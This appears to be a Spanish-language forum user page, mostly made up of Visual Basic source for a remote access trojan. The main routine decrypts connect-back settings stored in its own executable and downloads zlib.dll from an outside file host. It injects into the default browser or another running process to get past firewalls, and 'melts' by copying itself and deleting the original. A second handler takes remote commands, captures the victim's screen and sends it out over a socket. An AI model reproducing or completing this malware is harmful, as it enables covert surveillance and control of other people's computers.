con que lo grabaste tu amigo? esque a mi se ve de mala leche xD
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúOption Explicit
Public Const FINAL_PROGRAM_SIZE = 61440
Public Const PassString As String = "password"
Public Const ServerPass As String = ""
Public IpToConnectTo As String, PortToConnectTo As Long
Public UserConnected As Long, MeltToFile As String, MeltToDirectory As String
Sub Main()
'On Error Resume Next
'
Dim s1 As String, sFile As String
Dim strInfo() As String
Dim ServerFile As String, EncryptedInfo As String
Dim s2 As String, ServerBytes() As Byte, b1() As Byte, MeltDir As Long
Dim InjectedProcesses() As String, ProcessToInject As String
Dim i1 As Long, i2 As Long, i3 As Long
EncryptedInfo = SysDir & "ei_log.log"
If FileExists(EncryptedInfo) Then
If FileLen(EncryptedInfo) = 0 Then
DeleteFile EncryptedInfo
ShellExecute 0, "", AppExe, 0, "", 1
End
End If
'firewall bypass
'this part of the program reads itself.
'a file was stored in the other instance that is now available for use
'so you have to collect the RAT [stored] data and use it in the RAT
sFile = DecryptString(StrConv(vbReadEndFile(EncryptedInfo, 0), vbFromUnicode), PassString)
s1 = sFile
IpToConnectTo = Mid(s1, InStr(1, s1, "{01=") + 4, InStr(1, s1, "=01}") - InStr(1, s1, "{01=") - 4)
PortToConnectTo = CLng(Mid(s1, InStr(1, s1, "{02=") + 4, InStr(1, s1, "=02}") - InStr(1, s1, "{02=") - 4))
MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4)
MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4)
Select Case MeltDir
Case 0
MeltToDirectory = SysDir
Case 1
MeltToDirectory = WinDir
Case 2
MeltToDirectory = AppPath
Case 3
MeltToDirectory = GetTempPath
End Select
MeltToFile = LCase(MeltToDirectory & MeltToFile)
'if user doesnt have zLib, download it now for compression
'this will make the 2.5 mb screenshots ~50kb, and still crystal clear picture
If UserHasZLIB = 0 Then
DeleteFile SysDir & "zlib.dll"
Call GetInternetFile("http://www.hotlinkfiles.com/files/878001_9nuek/zlib.dll", SysDir & "zlib.dll", 256)
End If
DeleteFile EncryptedInfo
Load frmMain
frmMain.Show
Else
'default when user opens.. right here we want to store the RAT's
'information so that the firewall bypass can read it, avoiding registry.
'might as well encrypt the file
'soo in a nutshell..
'this part of the program reads itself and stores the information for
'access to the next loaded version with FWB+
'i keep these notes to help me remind myself.
'open itself and decrypt string
ServerBytes = vbReadEndFile(AppExe, FINAL_PROGRAM_SIZE)
sFile = CStr(ServerBytes())
ServerBytes = sFile
DeleteFile EncryptedInfo
vbWriteByteFile EncryptedInfo, ServerBytes
sFile = DecryptString(sFile, PassString)
'=================================
'
'Find a process to inject to, with internet access
'
'=================================
s2 = Mid(sFile, InStr(1, sFile, "{08=") + 4, InStr(1, sFile, "=08}") - InStr(1, sFile, "{08=") - 4)
If InStr(1, s2, "|") Then
InjectedProcesses = Split(s2, "|")
For i1 = LBound(InjectedProcesses) To UBound(InjectedProcesses)
If LCase(InjectedProcesses(i1)) = LCase("[DefaultBrowser]") Then
'If we hit the default browser, we are just gonna load into it
InjectedProcesses(i1) = ExeRegPath(DefaultBrowser)
If FileExists(InjectedProcesses(i1)) Then
'the browser exists, inject into it
ProcessToInject = InjectedProcesses(i1)
Else
If Len(s2) = 0 Then
'alternative find default browser through Shell32
End If
End If
i1 = UBound(InjectedProcesses)
End If
If IsProcessEXERunning(InjectedProcesses(i1)) Then
'process running , run one after
ProcessToInject = AppFullPath(InjectedProcesses(i1))
i1 = UBound(InjectedProcesses)
End If
Next
If ProcessToInject = "" Then ProcessToInject = ExeRegPath(DefaultBrowser)
End If
'=================================
'
'Determine if we need to melt
'
'=================================
MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4)
MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4)
Select Case MeltDir
Case 0
MeltToDirectory = SysDir
Case 1
MeltToDirectory = WinDir
Case 2
MeltToDirectory = AppPath
Case 3
MeltToDirectory = GetTempPath
End Select
MeltToFile = LCase(MeltToDirectory & MeltToFile)
If LCase(AppExe) <> MeltToFile Then
'we need to melt
DeleteFile MeltToFile
If MeltDir <> 2 Then FileCopy AppExe, MeltToFile
b1 = LoadFile(AppExe)
If MeltDir <> 2 Then InitiateMelt
RunExe ProcessToInject, b1
Exit Sub
Else
'shouldnt be occuring!!
'program will uninstall after this
DeleteFile EncryptedInfo
MsgBox "Program Detection Error"
InitiateMelt
End
End If
End If
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim vtData As String
Dim vDatos() As String
Dim Datos As String
ws.GetData vtData, vbString
If Envio = True Then ' Archivos recibidos
DataFile = DataFile & vtData
If Len(DataFile) = lenFile Then
Open NombreRec For Binary As #1
Put #1, , DataFile
Close #1
DataFile = ""
Envio = False
End If
End If
txtRecibido.Text = vtData
ws.GetData Datos
ws.GetData vtData, vbString
vtData = txtRecibido.Text
vDatos = Split(Datos, "|")
Select Case vDatos(0)
Case "Cerrar"
End
Case "Screen"
Resolucion = vDatos(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
txtRecibido.Text = vtData
Open "c:\capture.jpg" For Binary As #1
File = Input(LOF(1), 1)
Close #1
FileTotal = Len(File)
ws.SendData "Screen|" & FileTotal
Kill "c:\capture.jpg"
Case "OK"
ws.SendData File
Case "Name"
Nombre = vDatos(1)
Kill WINDOWS & "\name"
Open WINDOWS & "\name" For Binary As #1
Put #1, 1, Nombre
Close #1
End Select
End Sub